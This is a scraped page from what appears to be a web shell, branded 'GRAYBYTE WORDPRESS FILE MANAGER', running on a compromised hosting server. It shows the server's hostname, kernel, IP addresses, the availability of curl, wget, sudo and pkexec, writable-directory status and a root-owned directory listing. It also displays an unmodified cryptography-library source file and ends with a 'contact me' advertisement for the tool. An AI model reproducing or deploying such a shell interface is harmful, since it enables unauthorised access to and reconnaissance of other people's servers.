✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.51
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /lib64/python3.6/site-packages/cryptography/hazmat/backends/openssl//utils.py
# This file is dual licensed under the terms of the Apache License, Version
# 2.0, and the BSD License. See the LICENSE file in the root of this repository
# for complete details.

from __future__ import absolute_import, division, print_function

import warnings

from cryptography import utils
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric.utils import Prehashed


def _evp_pkey_derive(backend, evp_pkey, peer_public_key):
    ctx = backend._lib.EVP_PKEY_CTX_new(evp_pkey, backend._ffi.NULL)
    backend.openssl_assert(ctx != backend._ffi.NULL)
    ctx = backend._ffi.gc(ctx, backend._lib.EVP_PKEY_CTX_free)
    res = backend._lib.EVP_PKEY_derive_init(ctx)
    backend.openssl_assert(res == 1)
    res = backend._lib.EVP_PKEY_derive_set_peer(ctx, peer_public_key._evp_pkey)
    backend.openssl_assert(res == 1)
    keylen = backend._ffi.new("size_t *")
    res = backend._lib.EVP_PKEY_derive(ctx, backend._ffi.NULL, keylen)
    backend.openssl_assert(res == 1)
    backend.openssl_assert(keylen[0] > 0)
    buf = backend._ffi.new("unsigned char[]", keylen[0])
    res = backend._lib.EVP_PKEY_derive(ctx, buf, keylen)
    if res != 1:
        raise ValueError("Null shared key derived from public/private pair.")

    return backend._ffi.buffer(buf, keylen[0])[:]


def _calculate_digest_and_algorithm(backend, data, algorithm):
    if not isinstance(algorithm, Prehashed):
        hash_ctx = hashes.Hash(algorithm, backend)
        hash_ctx.update(data)
        data = hash_ctx.finalize()
    else:
        algorithm = algorithm._algorithm

    if len(data) != algorithm.digest_size:
        raise ValueError(
            "The provided data must be the same length as the hash "
            "algorithm's digest size."
        )

    return (data, algorithm)


def _check_not_prehashed(signature_algorithm):
    if isinstance(signature_algorithm, Prehashed):
        raise TypeError(
            "Prehashed is only supported in the sign and verify methods. "
            "It cannot be used with signer or verifier."
        )


def _warn_sign_verify_deprecated():
    warnings.warn(
        "signer and verifier have been deprecated. Please use sign "
        "and verify instead.",
        utils.PersistentlyDeprecated2017,
        stacklevel=3,
    )


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
28 Aug 2025 8.30 PM
root / root
0755
__pycache__
--
28 Aug 2025 8.30 PM
root / root
0755
__init__.py
0.328 KB
28 Oct 2020 3.11 AM
root / root
0644
aead.py
5.63 KB
28 Oct 2020 3.11 AM
root / root
0644
backend.py
104.489 KB
26 Aug 2025 10.01 AM
root / root
0644
ciphers.py
8.429 KB
26 Aug 2025 10.01 AM
root / root
0644
cmac.py
2.834 KB
26 Aug 2025 10.01 AM
root / root
0644
decode_asn1.py
31.587 KB
28 Oct 2020 3.11 AM
root / root
0644
dh.py
9.999 KB
28 Oct 2020 3.11 AM
root / root
0644
dsa.py
9.801 KB
28 Oct 2020 3.11 AM
root / root
0644
ec.py
11.802 KB
28 Oct 2020 3.11 AM
root / root
0644
ed25519.py
5.537 KB
28 Oct 2020 3.11 AM
root / root
0644
ed448.py
5.494 KB
28 Oct 2020 3.11 AM
root / root
0644
encode_asn1.py
23.001 KB
28 Oct 2020 3.11 AM
root / root
0644
hashes.py
3.095 KB
28 Oct 2020 3.11 AM
root / root
0644
hmac.py
2.99 KB
26 Aug 2025 10.01 AM
root / root
0644
ocsp.py
13.699 KB
28 Oct 2020 3.11 AM
root / root
0644
poly1305.py
2.362 KB
28 Oct 2020 3.11 AM
root / root
0644
rsa.py
16.971 KB
28 Oct 2020 3.11 AM
root / root
0644
utils.py
2.25 KB
28 Oct 2020 3.11 AM
root / root
0644
x25519.py
4.383 KB
28 Oct 2020 3.11 AM
root / root
0644
x448.py
3.917 KB
28 Oct 2020 3.11 AM
root / root
0644
x509.py
21.183 KB
26 Aug 2025 10.01 AM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF